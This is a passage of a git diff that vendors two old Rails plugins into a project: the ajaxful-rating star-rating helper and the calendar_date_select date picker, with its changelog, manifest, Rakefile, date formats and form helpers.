rate_rateablemodel_path(rateable)}. + # * :wrap Whether the star list is wrapped within a div tag or not. + # This is useful when page updating. Default is true. + # + # Example: + # <%= ratings_for @article %> + # # => Will produce something like: + #
    + #
  • Currently 3/5 stars
  • + #
  • <%= link_to_remote 1, :url => rate_article_path(@article, :stars => 1), :method => :post, :html => {:class => 'stars-1', :title => '1 star out of 5'} %>
  • + #
  • <%= link_to_remote 2, :url => rate_article_path(@article, :stars => 2), :method => :post, :html => {:class => 'stars-2', :title => '2 stars out of 5'} %>
  • + #
  • <%= link_to_remote 3, :url => rate_article_path(@article, :stars => 3), :method => :post, :html => {:class => 'stars-3', :title => '3 stars out of 5'} %>
  • + #
  • <%= link_to_remote 4, :url => rate_article_path(@article, :stars => 4), :method => :post, :html => {:class => 'stars-4', :title => '4 stars out of 5'} %>
  • + #
  • <%= link_to_remote 5, :url => rate_article_path(@article, :stars => 5), :method => :post, :html => {:class => 'stars-5', :title => '5 stars out of 5'} %>
  • + #
+ # + # It will try to use the method current_user as the user instance. + # You can specify a custom instance in the second parameter or pass + # :static to leave the list of stars static. + # + # Example: + # <%= ratings_for @article, @user, :small_stars => true %> + # # => Will use @user instead current_user + # + # <%= ratings_for @article, :static, :small_stars => true %> + # # => Will produce a static list of stars showing the current rating average for @article. + # + # The user passed here will *not* be the one who submits the rate. It will + # be used only for the display behavior of the stars. Like for example, if + # there is a user logged in or if the current logged in user is able to + # submit a rate depending on the configuration (accepts update of rates, + # etc). + # + # So to actually set the user who will rate the model you need to do it in + # your controller: + # + # # controller + # def rate + # @article = Article.find(params[:id]) + # @article.rate(params[:stars], current_user) # or any user instance + # # update page, etc. + # end + # + # I18n: + # + # You can translate the title of the images (the tool tip that shows when + # the mouse is over) and the 'Currently x/x stars' string by setting these + # keys on your translation hash: + # + # ajaxful_rating: + # stars: + # current_average: "Current rating: {{average}}/{{max}}" + # title: + # one: 1 star out of {{total}} + # other: "{{count}} stars out of {{total}}" + def ratings_for(rateable, *args) + user = extract_options(rateable, *args) + ajaxful_styles << %Q( + .#{options[:class]} { width: #{rateable.class.max_rate_value * 25}px; } + .#{options[:small_star_class]} { width: #{rateable.class.max_rate_value * 10}px; } + ) + width = (rateable.rate_average(true, options[:dimension]) / rateable.class.max_rate_value.to_f) * 100 + ul = content_tag(:ul, options[:html]) do + Range.new(1, rateable.class.max_rate_value).collect do |i| + build_star rateable, user, i + end.insert(0, content_tag(:li, current_average(rateable), + :class => 'current-rating', :style => "width:#{width}%")) + end + if options[:wrap] + content_tag(:div, ul, :id => "ajaxful-rating-#{!options[:dimension].blank? ? + "#{options[:dimension]}-" : ''}#{rateable.class.name.downcase}-#{rateable.id}") + else + ul + end + end + + # Call this method within head tags of the main layout to + # yield the dynamic styles. It will include the necessary stlyesheet and + # output the dynamic CSS. + # + # Example: + # + # <%= ajaxful_rating_style %> + # + def ajaxful_rating_style + stylesheet_link_tag('ajaxful_rating') + content_tag(:style, ajaxful_styles, + :type => 'text/css') unless ajaxful_styles.blank? + end + + private + + # Builds a star + def build_star(rateable, user, i) + a_class = "#{options[:link_class_prefix]}-#{i}" + ajaxful_styles << %Q( + .#{options[:class]} .#{a_class}{ + width: #{(i / rateable.class.max_rate_value.to_f) * 100}%; + z-index: #{rateable.class.max_rate_value + 2 - i}; + } + ) + rated = rateable.rated_by?(user, options[:dimension]) if user + star = if user && ((rated && rateable.class.options[:allow_update]) || !rated) + link_to_remote(i, build_remote_options({:class => a_class, :title => pluralize_title(i, rateable.class.max_rate_value)}, i)) + else + content_tag(:span, i, :class => a_class, :title => current_average(rateable)) + end + content_tag(:li, star) + end + + # Default options for the helper. + def options + @options ||= { + :wrap => true, + :class => 'ajaxful-rating', + :link_class_prefix => :stars, + :small_stars => false, + :small_star_class => 'small-star', + :html => {}, + :remote_options => {:method => :post} + } + end + + # Builds the proper title for the star. + def pluralize_title(current, max) + (current == 1) ? "1 star out of #{max}" : "#{current} stars out of #{max}" + # (current == 1) ? I18n.t('ajaxful_rating.stars.title.one', :max => max, :default => "1 star out of {{max}}") : + # I18n.t('ajaxful_rating.stars.title.other', :count => current, :max => max, :default => "{{count}} stars out of {{max}}") + end + + # Returns the current average string. + def current_average(rateable) + # I18n.t('ajaxful_rating.stars.current_average', :average => rateable.rate_average(true, options[:dimension]), + # :max => rateable.class.max_rate_value, :default => "Current rating: {{average}}/{{max}}") + "Current rating: #{rateable.rate_average(true, options[:dimension])}/#{rateable.class.max_rate_value}" + end + + # Temporary instance to hold dynamic styles. + def ajaxful_styles + @ajaxful_styles ||= '' + end + + # Builds the default options for the link_to_remote function. + def build_remote_options(html, i) + options[:remote_options].reverse_merge(:html => html).merge( + :url => "#{options[:remote_options][:url]}?#{{:stars => i, :dimension => options[:dimension]}.to_query}") + end + + # Extracts the hash options and returns the user instance. + def extract_options(rateable, *args) + user = if args.first.class.name == rateable.class.user_class_name.classify + args.shift + elsif args.first != :static + current_user if respond_to?(:current_user) + end + options.merge!(args.last) if !args.empty? && args.last.is_a?(Hash) + options[:remote_options][:url] ||= respond_to?(url = "rate_#{rateable.class.name.downcase}_path") ? + send(url, rateable) : raise(MissingRateRoute) + options[:html].reverse_merge!(:class => "#{options[:class]} #{options[:small_star_class] if options[:small_stars]}") + user + end + end +end diff --git a/vendor/plugins/ajaxful-rating/tasks/ajaxful_rating_tasks.rake b/vendor/plugins/ajaxful-rating/tasks/ajaxful_rating_tasks.rake new file mode 100644 index 00000000..39a0e002 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/tasks/ajaxful_rating_tasks.rake @@ -0,0 +1,4 @@ +# desc "Explaining what the task does" +# task :ajaxful_rating do +# # Task goes here +# end diff --git a/vendor/plugins/ajaxful-rating/test/ajaxful_rating_test.rb b/vendor/plugins/ajaxful-rating/test/ajaxful_rating_test.rb new file mode 100644 index 00000000..916b3aec --- /dev/null +++ b/vendor/plugins/ajaxful-rating/test/ajaxful_rating_test.rb @@ -0,0 +1,8 @@ +require 'test/unit' + +class AjaxfulRatingTest < Test::Unit::TestCase + # Replace this with your real tests. + def test_this_plugin + flunk + end +end diff --git a/vendor/plugins/calendar_date_select/.gitignore b/vendor/plugins/calendar_date_select/.gitignore new file mode 100644 index 00000000..15cb453c --- /dev/null +++ b/vendor/plugins/calendar_date_select/.gitignore @@ -0,0 +1,3 @@ +/pkg +/doc +*.gem \ No newline at end of file diff --git a/vendor/plugins/calendar_date_select/History.txt b/vendor/plugins/calendar_date_select/History.txt new file mode 100644 index 00000000..2d859274 --- /dev/null +++ b/vendor/plugins/calendar_date_select/History.txt @@ -0,0 +1,237 @@ +== Version 1.15 + * Bugfix: don't include the :image option in the input field + +== Version 1.14 + * Added support for Rails 2.3 + +== Version 1.13 + * Lots of code clean up! + * Moved test suite over to rspec + * CalendarDateSelect.default_options implemented. Use CalendarDateSelect.default_options.update(...) to set the default_options for your app. + * calendar_date_select and calendar_date_select_tag accept an :image parameter. + * Backwards compatibility hook for Rails 2.1 + * RDOC! + * Don't try to focus a hidden or disabled element (closes #129 - thanks Bruno) + * Call onchange callback when clearing the calendar (closes #137 - thanks Chewi) + * Fixed issue that made :db format worthless (closes #135, thanks Andreas Zecher) + * dramatic optimization for calendar initial-rendering (thanks Yehudab, Bompus) + +== Version 1.12 == + * Updated for compatibility with Rails 2.2 + +== Version 1.11.1 == + * properly wrap buttons if they are too big for the line + * more translations: german (Jonas), Added russian translation (DEkart) + * locale fixes: + * Fix: time doesn't work (using 12 hour instead of 24 hour) in Italian format. + * updated Portuguese translation with the "Clear" action (Daniel Luz) + * Portuguese was missing month of October + * Added a clear button (Hendy Tanata) + * Reverted a change that attempted to fix position in a scrollable div, but caused probles elsewhere + * Added :minute_interval to calendar_date_select_process_options, fixing http://code.google.com/p/calendardateselect/issues/detail?id=81 + * Add helpers to give the list of javascripts and stylesheets (calendar_date_select_javascripts and calendar_date_select_stylesheets) + * Converted over to use Hoe (echoe was giving too many problems). Refactored the directory structure to make it more gem-ish. + +== Version 1.11 == + + * Calendar Date Select now works as a ruby-gem (thanks, artmotion!) + * Applied fix outlined in Issue #83: http://code.google.com/p/calendardateselect/issues/detail?id=83 (Thanks David Bolton) + +== Version 1.10.5 == +Apr 7, 2008 + * Javascript code refactoring! Less mess! + * Bugfix - range was including element 42, which is really the 43rd element, so there was an error happening when today happens exactly 43 days after the beginning date (caught this by chance, surprised it wasn't reported before) + +== Version 1.10.4 == +Mar 24, 2008 + * patch applied to fix issue #92: nil object option causes CalendarDateSelect.calendar_date_select(object, method, options) to not use object. Thanks, sskirby! + +== Version 1.10.3 == +Mar 24. 2008 + * Fixed active scaffold integration bug. Thanks tapajos! + +== Version 1.10.2 == +Mar 10. 2008 + * bugfix: calendar_date_select_tag doesn't format Time and Date values (thanks for the patch, sskirby!) + +== Version 1.10.1 == +Mar 10, 2008 + * updated to automatically install locale folder + * bugfix - cds "today" was showing up as Mar 9th 2008, when it was really Mar 10th 2008 - was caused by a wrinkle in time (Day light savings time) + * Prototype 1.6.0.1 compatibility issue (77) resolved - thanks mike.nicholaides for the patch! + * patch applied from mjroghelia to fix ie ssl iframe issue (84) + * xhtml error fixed -   replaced with #160; + +==Version 1.10 == +Dec 3, 2007 + * You can now pass in a parameter to tell CalendarDateSelect not to allow selection of certain dates. See the [http://www.restatesman.com/static/calendar?tab=other demo] for an example. + +==Version 1.9.2== +Nov 26, 2007 + * CalendarDateSelect was leaking javascript variables. (nothing was explicitly declared local, so javascript assumes global). Added test case and applied fix. This may help with some of the conflicts CalendarDateSelect has been causing with other scripts. + * Applied Ryan Wood's patch to fix the problem with using a form builder against objects like authorization[coverage_attributes][]. Thanks Ryan Wood! + * Wes Hays brought up the point of parseInt trying to auto-detect number formats. Wrote code to force interpretation of digits as base10, with test cases to prove it. + * Misleading test case failure in Safari fixed: Safari won't let a boolean value to a property that should have a function (understandably). Changed the test variable names to prevent such a conflict. + * Now uses css :hover, rather than manually setting/removing the hover class. If you are using a custom stylesheet, you'll need to change ".calendar_date_select tbody td.hover" to ".calendar_date_select tbody td:hover" (thanks, Alex Egg) + +==Version 1.9.1== +Nov 15, 2007 + * Removed dependency on deprecated features in 1.6.0. Thanks again, Richard Quadling! + * Bugfix - was showing wrong day selected when selecting Mar 23, 2008. (Day light savings time issue). Fixed with test case. + * Added CSS style to show red border around the embedded calendar_date_select div's with errors. + * Callbacks were broken with 1.9.0. Fixed, added test cases. + +==Version 1.9.0== +Nov 13, 2007 + * Prototype 1.6.0 compatibility update. Will now break with earlier versions of prototype (ie 1.5.1). Big thanks to Kevin Alexander and Richard Quadling + * Additional test coverage for improved stability going forward. + +==Version 1.8.3== +Nov 12, 2007 + + * Improved close methods: + * Added "OK" button at the bottom + * Double clicking a day closes the calendar (not in IE, though... because IE is everyone's favorite browser to program for) + * Escape key closes calendar + * Added optional close button at the top, which is hidden by default. Don't use this unless you really need it, because it may disappear in the future. + * Don't focus a hidden element + * Navigate down to child input element if exists (in case a div tag is passed in). Resolves problems when input control is wrapped with a error div. Test cases + * Allow specific year ranges (pass in an array) + * restrict year navigation inside of a non-flexible range + * test case to check auto-repopulating of flexibleYearRanges. + * test case to check boundaries of nonFlexibleYearRanges. + * Ability to pass in :year_range => 5.years.ago..0.years.ago to calendar_date_select (ruby) + * Updated test cases + * Bugfix for duplicate days that were occuring across day-light-saving-time boundaries + * Added format_american.js (thanks, Wes Hays) + * Added format_italian.js (thanks, Bigonazzi) + * Added format_euro_24hr.js (thanks, James Silberbauer) + * Bugfix for Konqueror - Was showing blank white box for popup window - had to do with Iframe hack. + * Code-refactoring, clean up, breaking down methods, making the code easier to understand and extend. + * Added new stylesheet definition: .calendar_date_select .cds_header a.close { display: none}. Update your custom stylesheet with this new definition. + + +==Version 1.8.1== +September 27 2007 + * 1.8.0 was rushed. There were a bunch of bugs that cropped up immediately. This deploy includes JavaScript unit testing using the scriptaculous unit test framework! ([http://www.restatesman.com/calendar_date_select/js_test/functional/cds_test.html click here to run the tests on the latest trunk version]). These unit tests are going to greatly improve the reliability of CalendarDateSelect releases. + +==Version 1.8.0== + +September 26 2007 + * Bugfix - Safari 2 issue fixed (was interpreting "" as January 1, 1969) + * CSS overhaul - removed buttons and replaced with links. Cleaned up CSS. See CSSDiff_1_7_0__1_8_0 for a diff. + * :popup => :force (force the user to select a date) + * :time => "mixed" - You can now create a calendar control that allows a user to select "all day" or a specific time! + * :month_year => "label" - Replace the clunky dropdowns with a text. + * Some internal "gardening" on the code + +==Version 1.7.1== + +Aug 29 2007 + + * Rendering options weren't being passed to the input control (like :style, :class, etc.) + +==Version 1.7.0== + +Aug 24 2007 + + * update calendar date select to not rely on dom_id's anymore ( and no longer automatically changes the dom_id for your input fields ) + + * applied Steve Madsen's patch for not blanking out invalid dates. + +==Version 1.6.1== + +Aug 24 2007 + + * Serious javascript bug when using "hyphen_ampm" format fixed. (Was only working in Firefox browsers with firebug installed) + + * Added a bunch of new callbacks: before_show, before_close, after_show, after_close, after_navigate. (see [http://www.restatesman.com/static/calendar?tab=callbacks here] for details) + + +==Version 1.6.0== + +July 27 2007 + + * Now MUCH easier to change date formats! See ChangingDateFormat for details. + * Opera button labels fixed + * Calendar "flicker" fixed when displaying popup window. + * JS error 106 being thrown - fixed + * Bug fixes relating to calendar date select deciding whether to display above or below an element on a page + * XHTML compliance issue resolved - image had an invalid "id" + * Disabled/readonly elements can't be updated + * (note, if you wish to prevent user from inputting a date without the date picker, use the "embedded" option. See [http://restatesman.com/static/calendar/ demo] for example). + * Changes/cleanups submitted by Steve Madsen. If you see Steve, tell him what a great guy he is! + * Ability to change calendar image via CalendarDateSelect.image= + * cleaning up on how input tags are rendered + +==Version 1.5.2== + +July 12 2007 + * onchange event handler now supported. + * detects to see if prototype is loaded. If not, shows error message + * ability to hide "buttons" + * date parsing broken out to static function Date.parseFormattedString() for anyone who wants date's to parse a different way from javascript + * you can no longer select 1:60 pm. + +==Version 1.5.1== + +June 21, 2007 + + * fixed following tickets: + * Selecting dates in April 2007 doesn't highlight day + * Selecting 29 February 2008 returns 1 March 2008 + * options[:format] needs to be purged + +==Version 1.5== +June 18, 2007 + + * New CSS stylesheet + + * Fixed "white on white" css issue when selecting a day + + * Clicking today now updates the input field + +==Version 1.4== +June 16, 2007 + + * more bug fixes (selecting across daylight savings time causing js error. Sometimes clicking a day of the next month after selecting day 31 of the previous month was causing 2 months later to be selected) + + * CSS improvements and refactoring + + * form builder methods now automatically detect whether or not to use a Time field + + * a bit more optimization + + * refactored date formatter methods and others so they can be more easily overridden. + +==Version 1.3== +June 8, 2007 + + * a few bug fixes + + * Modified the helper methods to allow passing of virtually any JavaScript argument into the JavaScript control. + +==Version 1.2== +June 4, 2007 + + * Big optimizations to the redrawing of the calendar. Now, previous/next buttons much more responsive. + + * Improved feel of pop-up dialog - when somewhere else clicked on the screen other than the popup calendar, popup calendar will automatically close. + + * If the popup window won't fit on the screen underneath the control, will automatically position to the top. + + +==Version 1.1== +June 2, 2007 + + * There was a very strange bug that crept in for Internet Explorer. Internet Explorer does not allow you to set the innerHTML property for "button" elements. Therefore, it was necessary to change "button" elements to "input" elements of type button. + + * There was a change to the CSS file. Anything applying styles to "button" elements has been changed to "input.button". If you have a custom stylesheet, update accordingly. + +==Version 1.0== +June 1, 2007 + + * Initial release! + + + diff --git a/vendor/plugins/calendar_date_select/Manifest.txt b/vendor/plugins/calendar_date_select/Manifest.txt new file mode 100644 index 00000000..368c3dad --- /dev/null +++ b/vendor/plugins/calendar_date_select/Manifest.txt @@ -0,0 +1,42 @@ +History.txt +init.rb +js_test/functional/cds_test.html +js_test/prototype.js +js_test/test.css +js_test/unit/cds_helper_methods.html +js_test/unittest.js +lib/calendar_date_select/calendar_date_select.rb +lib/calendar_date_select/includes_helper.rb +lib/calendar_date_select/form_helpers.rb +lib/calendar_date_select.rb +Manifest.txt +MIT-LICENSE +public/blank_iframe.html +public/images/calendar_date_select/calendar.gif +public/javascripts/calendar_date_select/calendar_date_select.js +public/javascripts/calendar_date_select/format_american.js +public/javascripts/calendar_date_select/format_db.js +public/javascripts/calendar_date_select/format_euro_24hr.js +public/javascripts/calendar_date_select/format_euro_24hr_ymd.js +public/javascripts/calendar_date_select/format_finnish.js +public/javascripts/calendar_date_select/format_hyphen_ampm.js +public/javascripts/calendar_date_select/format_iso_date.js +public/javascripts/calendar_date_select/format_italian.js +public/javascripts/calendar_date_select/locale/de.js +public/javascripts/calendar_date_select/locale/fi.js +public/javascripts/calendar_date_select/locale/fr.js +public/javascripts/calendar_date_select/locale/pl.js +public/javascripts/calendar_date_select/locale/pt.js +public/javascripts/calendar_date_select/locale/ru.js +public/stylesheets/calendar_date_select/blue.css +public/stylesheets/calendar_date_select/default.css +public/stylesheets/calendar_date_select/plain.css +public/stylesheets/calendar_date_select/red.css +public/stylesheets/calendar_date_select/silver.css +Rakefile +Readme.txt +spec/ +spec/calendar_date_select +spec/calendar_date_select/calendar_date_select_spec.rb +spec/calendar_date_select/form_helpers_spec.rb +spec/spec_helper.rb diff --git a/vendor/plugins/calendar_date_select/Rakefile b/vendor/plugins/calendar_date_select/Rakefile new file mode 100644 index 00000000..0f9146bb --- /dev/null +++ b/vendor/plugins/calendar_date_select/Rakefile @@ -0,0 +1,31 @@ +# -*- ruby -*- + +require 'rubygems' +require 'hoe' + +$: << File.dirname(__FILE__) + "/lib/" +require "activesupport" +require './lib/calendar_date_select.rb' + +Hoe.new('calendar_date_select', CalendarDateSelect::VERSION) do |p| + p.rubyforge_name = 'cds' + p.developer('Tim Harper', 'tim c harper at gmail dot com') +end + +desc "Set the current gem version in the code (VERSION=version)" +task :set_version do + ["lib/calendar_date_select/calendar_date_select.rb", "public/javascripts/calendar_date_select/calendar_date_select.js"].each do |file| + abs_file = File.dirname(__FILE__) + "/" + file + src = File.read(abs_file); + src = src.map do |line| + case line + when /^ *VERSION/ then " VERSION = '#{ENV['VERSION']}'\n" + when /^\/\/ CalendarDateSelect version / then "// CalendarDateSelect version #{ENV['VERSION']} - a prototype based date picker\n" + else + line + end + end.join + File.open(abs_file, "wb") { |f| f << src } + end +end +# vim: syntax=Ruby diff --git a/vendor/plugins/calendar_date_select/Readme.txt b/vendor/plugins/calendar_date_select/Readme.txt new file mode 100644 index 00000000..71189f85 --- /dev/null +++ b/vendor/plugins/calendar_date_select/Readme.txt @@ -0,0 +1,16 @@ += CalendarDateSelect + +http://code.google.com/p/calendardateselect/ + +== Examples + +"See a demo here":http://electronicholas.com/calendar + +== Submitting patches + +Please take care to do the following: + +* Clean up your patch (don't send a patch bomb with a hundred features in one) +* Write test cases! +* As a general rule of thumb, think of ways to make things more general purpose than specific. + diff --git a/vendor/plugins/calendar_date_select/lib/calendar_date_select/calendar_date_select.rb b/vendor/plugins/calendar_date_select/lib/calendar_date_select/calendar_date_select.rb new file mode 100644 index 00000000..836aec5e --- /dev/null +++ b/vendor/plugins/calendar_date_select/lib/calendar_date_select/calendar_date_select.rb @@ -0,0 +1,116 @@ +module CalendarDateSelect + VERSION = '1.15' + FORMATS = { + :natural => { + :date => "%B %d, %Y", + :time => " %I:%M %p" + }, + :hyphen_ampm => { + :date => "%Y-%m-%d", + :time => " %I:%M %p", + :javascript_include => "format_hyphen_ampm" + }, + :iso_date => { + :date => "%Y-%m-%d", + :time => " %H:%M", + :javascript_include => "format_iso_date" + }, + :finnish => { + :date => "%d.%m.%Y", + :time => " %H:%M", + :javascript_include => "format_finnish" + }, + :american => { + :date => "%m/%d/%Y", + :time => " %I:%M %p", + :javascript_include => "format_american" + }, + :euro_24hr => { + :date => "%d %B %Y", + :time => " %H:%M", + :javascript_include => "format_euro_24hr" + }, + :euro_24hr_ymd => { + :date => "%Y.%m.%d", + :time => " %H:%M", + :javascript_include => "format_euro_24hr_ymd" + }, + :italian => { + :date => "%d/%m/%Y", + :time => " %H:%M", + :javascript_include => "format_italian" + }, + :db => { + :date => "%Y-%m-%d", + :time => " %H:%M", + :javascript_include => "format_db" + } + } + + # Returns the default_options hash. These options are by default provided to every calendar_date_select control, unless otherwise overrided. + # + # Example: + # # At the bottom of config/environment.rb: + # CalendarDateSelect.default_options.update( + # :popup => "force", + # :month_year => "label", + # :image => "custom_calendar_picker.png" + # ) + def self.default_options + @default_options ||= { :image => "calendar_date_select/calendar.gif" } + end + + # Set the picker image. Provide the image url the same way you would provide it to image_tag + def self.image=(value) + default_options[:image] = value + end + + # Returns the options for the given format + # + # Example: + # CalendarDateSelect.format = :italian + # puts CalendarDateSelect.format[:date] + # => "%d/%m/%Y" + def self.format + @format ||= FORMATS[:natural] + end + + # Set the format. To see a list of available formats, CalendarDateSelect::FORMATS.keys, or open lib/calendar_date_select/calendar_date_select.rb + # + # (e.g. CalendarDateSelect.format = :italian) + def self.format=(format) + raise "CalendarDateSelect: Unrecognized format specification: #{format}" unless FORMATS.has_key?(format) + @format = FORMATS[format] + end + + def self.date_format_string(time = false) + format[:date] + (time ? format[:time] : "") + end + + def self.format_date(date) + if date.is_a?(Date) + date.strftime(date_format_string(false)) + else + date.strftime(date_format_string(true)) + end + end + + def self.format_time(value, options = {}) + return value unless value.respond_to?("strftime") + if options[:time] + format_date(value) + else + format_date(value.to_date) + end + end + + # Detects the presence of time in a date, string + def self.has_time?(value) + case value + when DateTime, Time then true + when Date then false + else + /[0-9]:[0-9]{2}/.match(value.to_s) ? true : false + end + end +end diff --git a/vendor/plugins/calendar_date_select/lib/calendar_date_select/form_helpers.rb b/vendor/plugins/calendar_date_select/lib/calendar_date_select/form_helpers.rb new file mode 100644 index 00000000..ed360c64 --- /dev/null +++ b/vendor/plugins/calendar_date_select/lib/calendar_date_select/form_helpers.rb @@ -0,0 +1,225 @@ +# Various helpers available for use in your view +module CalendarDateSelect::FormHelpers + + # Similar to text_field_tag, but adds a calendar picker, naturally. + # + # == Arguments + # + # +name+ - the html name of the tag + # +value+ - When specified as a string, uses value verbatim. When Date, DateTime, Time, it converts it to a string basd off the format set by CalendarDateSelect#format= + # +options+ - ... + # + # == Options + # + # === :embedded + # + # Put the calendar straight into the form, rather than using a popup type of form. + # + # <%= calendar_date_select_tag "name", "2007-01-01", :embedded => true %> + # + # === :hidden + # + # Use a hidden element instead of a text box for a pop up calendar. Not compatible with :embedded => true. You'll probably want to use an onchange callback to do something with the value. + # + # + # <%= calendar_date_select_tag "hidden_date_selector", "", :hidden => "true", :onchange => "$('cds_value').update($F(this));" %> + # + # === :image + # + # Specify an alternative icon to use for the date picker. + # + # To use /images/groovy.png: + # + # <%= calendar_date_select_tag "altered_image", "", :image => "groovy.png" %> + # + # === :minute_interval + # + # Specifies the minute interval used in the hour/minute selector. Default is 5. + # + # <%= calendar_date_select_tag "month_year_selector_label", "", :minute_interval => 15 %> + # + # === :month_year + # + # Customize the month and year selectors at the top of the control. + # + # Valid values: + # * "dropdowns" (default) - Use a separate dropdown control for both the month and year + # * "label" - Use static text to show the month and the year. + # + # <%= calendar_date_select_tag "month_year_selector_label", "", :month_year => "label" %> + # + # === :popup => 'force' + # + # Forces the user to use the popup calendar by making it's text-box read-only and causing calendar_date_select to override it's default behavior of not allowing selection of a date on a target element that is read-only. + # + # <%= calendar_date_select_tag "name", "2007-01-01", :popup => "force" %> + # + # === :time + # + # Show time in the controls. There's three options: + # + # * +true+ - show an hour/minute selector. + # * +false+ - don't show an hour/minute selector. + # * +"mixed"+ - Show an hour/minute selector, but include a "all day" option - allowing them to choose whether or not to specify a time. + # + # === :year_range + # + # Limit the year range. You can pass in an array or range of ruby Date/Time objects or FixNum's. + # + # <%= calendar_date_select_tag "e_date", nil, :year_range => 10.years.ago..0.years.from_now %> + # <%= calendar_date_select_tag "e_date", nil, :year_range => [0.years.ago, 10.years.from_now] %> + # <%= calendar_date_select_tag "e_date", nil, :year_range => 2000..2007 %> + # <%= calendar_date_select_tag "e_date", nil, :year_range => [2000, 2007] %> + # + # == CALLBACKS + # + # The following callbacks are available: + # + # * before_show / after_show + # * before_close / after_close + # * after_navigate - Called when navigating to a different month. Passes first parameter as a date object refering to the current month viewed + # * onchange - Called when the form input value changes + # + # <%= calendar_date_select_tag "event_demo", "", + # :before_show => "log('Calendar Showing');" , + # :after_show => "log('Calendar Shown');" , + # :before_close => "log('Calendar closing');" , + # :after_close => "log('Calendar closed');", + # :after_navigate => "log('Current month is ' + (param.getMonth()+1) + '/' + (param.getFullYear()));", + # :onchange => "log('value changed to - ' + $F(this));" + # + # }}} + # + # All callbacks are executed within the context of the target input element. If you'd like to access the CalendarDateSelect object itself, you can access it via "this.calendar_date_select". + # + # For example: + # + # <%= calendar_date_select_tag "event_demo", "", :after_navigate => "alert('The current selected month is ' + this.calendar_date_select.selected_date.getMonth());" , + def calendar_date_select_tag( name, value = nil, options = {}) + image, options, javascript_options = calendar_date_select_process_options(options) + value = CalendarDateSelect.format_time(value, javascript_options) + + javascript_options.delete(:format) + + options[:id] ||= name + tag = javascript_options[:hidden] || javascript_options[:embedded] ? + hidden_field_tag(name, value, options) : + text_field_tag(name, value, options) + + calendar_date_select_output(tag, image, options, javascript_options) + end + + # Similar to the difference between +text_field_tag+ and +text_field+, this method behaves like +text_field+ + # + # It receives the same options as +calendar_date_select_tag+. Need for time selection is automatically detected by checking the corresponding column meta information of Model#columns_hash + def calendar_date_select(object, method, options={}) + obj = options[:object] || instance_variable_get("@#{object}") + + if !options.include?(:time) && obj.class.respond_to?("columns_hash") + column_type = (obj.class.columns_hash[method.to_s].type rescue nil) + options[:time] = true if column_type == :datetime + end + + use_time = options[:time] + + if options[:time].to_s=="mixed" + use_time = false if Date===(obj.respond_to?(method) && obj.send(method)) + end + + image, options, javascript_options = calendar_date_select_process_options(options) + + options[:value] ||= + if(obj.respond_to?(method) && obj.send(method).respond_to?(:strftime)) + obj.send(method).strftime(CalendarDateSelect.date_format_string(use_time)) + elsif obj.respond_to?("#{method}_before_type_cast") + obj.send("#{method}_before_type_cast") + elsif obj.respond_to?(method) + obj.send(method).to_s + else + nil + end + + tag = ActionView::Helpers::InstanceTag.new_with_backwards_compatibility(object, method, self, options.delete(:object)) + calendar_date_select_output( + tag.to_input_field_tag( (javascript_options[:hidden] || javascript_options[:embedded]) ? "hidden" : "text", options), + image, + options, + javascript_options + ) + end + + private + # extracts any options passed into calendar date select, appropriating them to either the Javascript call or the html tag. + def calendar_date_select_process_options(options) + options, javascript_options = CalendarDateSelect.default_options.merge(options), {} + image = options.delete(:image) + callbacks = [:before_show, :before_close, :after_show, :after_close, :after_navigate] + for key in [:time, :valid_date_check, :embedded, :buttons, :clear_button, :format, :year_range, :month_year, :popup, :hidden, :minute_interval] + callbacks + javascript_options[key] = options.delete(key) if options.has_key?(key) + end + + # if passing in mixed, pad it with single quotes + javascript_options[:time] = "'mixed'" if javascript_options[:time].to_s=="mixed" + javascript_options[:month_year] = "'#{javascript_options[:month_year]}'" if javascript_options[:month_year] + + # if we are forcing the popup, automatically set the readonly property on the input control. + if javascript_options[:popup].to_s == "force" + javascript_options[:popup] = "'force'" + options[:readonly] = true + end + + if (vdc=javascript_options.delete(:valid_date_check)) + if vdc.include?(";") || vdc.include?("function") + raise ArgumentError, ":valid_date_check function is missing a 'return' statement. Try something like: :valid_date_check => 'if (date > new(Date)) return true; else return false;'" unless vdc.include?("return"); + end + + vdc = "return(#{vdc})" unless vdc.include?("return") + vdc = "function(date) { #{vdc} }" unless vdc.include?("function") + javascript_options[:valid_date_check] = vdc + end + + javascript_options[:popup_by] ||= "this" if javascript_options[:hidden] + + # surround any callbacks with a function, if not already done so + for key in callbacks + javascript_options[key] = "function(param) { #{javascript_options[key]} }" unless javascript_options[key].include?("function") if javascript_options[key] + end + + javascript_options[:year_range] = format_year_range(javascript_options[:year_range] || 10) + [image, options, javascript_options] + end + + def calendar_date_select_output(input, image, options = {}, javascript_options = {}) + out = input + if javascript_options[:embedded] + uniq_id = "cds_placeholder_#{(rand*100000).to_i}" + # we need to be able to locate the target input element, so lets stick an invisible span tag here we can easily locate + out << content_tag(:span, nil, :style => "display: none; position: absolute;", :id => uniq_id) + out << javascript_tag("new CalendarDateSelect( $('#{uniq_id}').previous(), #{options_for_javascript(javascript_options)} ); ") + else + out << " " + out << image_tag(image, + :onclick => "new CalendarDateSelect( $(this).previous(), #{options_for_javascript(javascript_options)} );", + :style => 'border:0px; cursor:pointer;', + :class=>'calendar_date_select_popup_icon') + end + out + end + + def format_year_range(year) # nodoc + return year unless year.respond_to?(:first) + return "[#{year.first}, #{year.last}]" unless year.first.respond_to?(:strftime) + return "[#{year.first.year}, #{year.last.year}]" + end +end + +# Helper method for form builders +module ActionView + module Helpers + class FormBuilder + def calendar_date_select(method, options = {}) + @template.calendar_date_select(@object_name, method, options.merge(:object => @object)) + end + end + end +end diff --git a/vendor/plugins/calendar_date_select/lib/calendar_date_select/includes_helper.rb b/vendor/plugins/calendar_date_select/lib/calendar_date_select/includes_helper.rb new file mode 100644 index 00000000..ece83ba0 --- /dev/null +++ b/vendor/plugins/calendar_date_select/lib/calendar_date_select/includes_helper.rb @@ -0,0 +1,29 @@ +module CalendarDateSelect::IncludesHelper + # returns the selected calendar_date_select stylesheet (not an array) + def calendar_date_select_stylesheets(options = {}) + options.assert_valid_keys(:style) + "calendar_date_select/#{options[:style] || "default"}" + end + + # returns an array of javascripts needed for the selected locale, date_format, and calendar control itself. + def calendar_date_select_javascripts(options = {}) + options.assert_valid_keys(:locale) + files = ["calendar_date_select/calendar_date_select"] + files << "calendar_date_select/locale/#{options[:locale]}" if options[:locale] + files << "calendar_date_select/#{CalendarDateSelect.format[:javascript_include]}" if CalendarDateSelect.format[:javascript_include] + files + end + + # returns html necessary to load javascript and css to make calendar_date_select work + def calendar_date_select_includes(*args) + return "" if @cds_already_included + @cds_already_included=true + + options = (Hash === args.last) ? 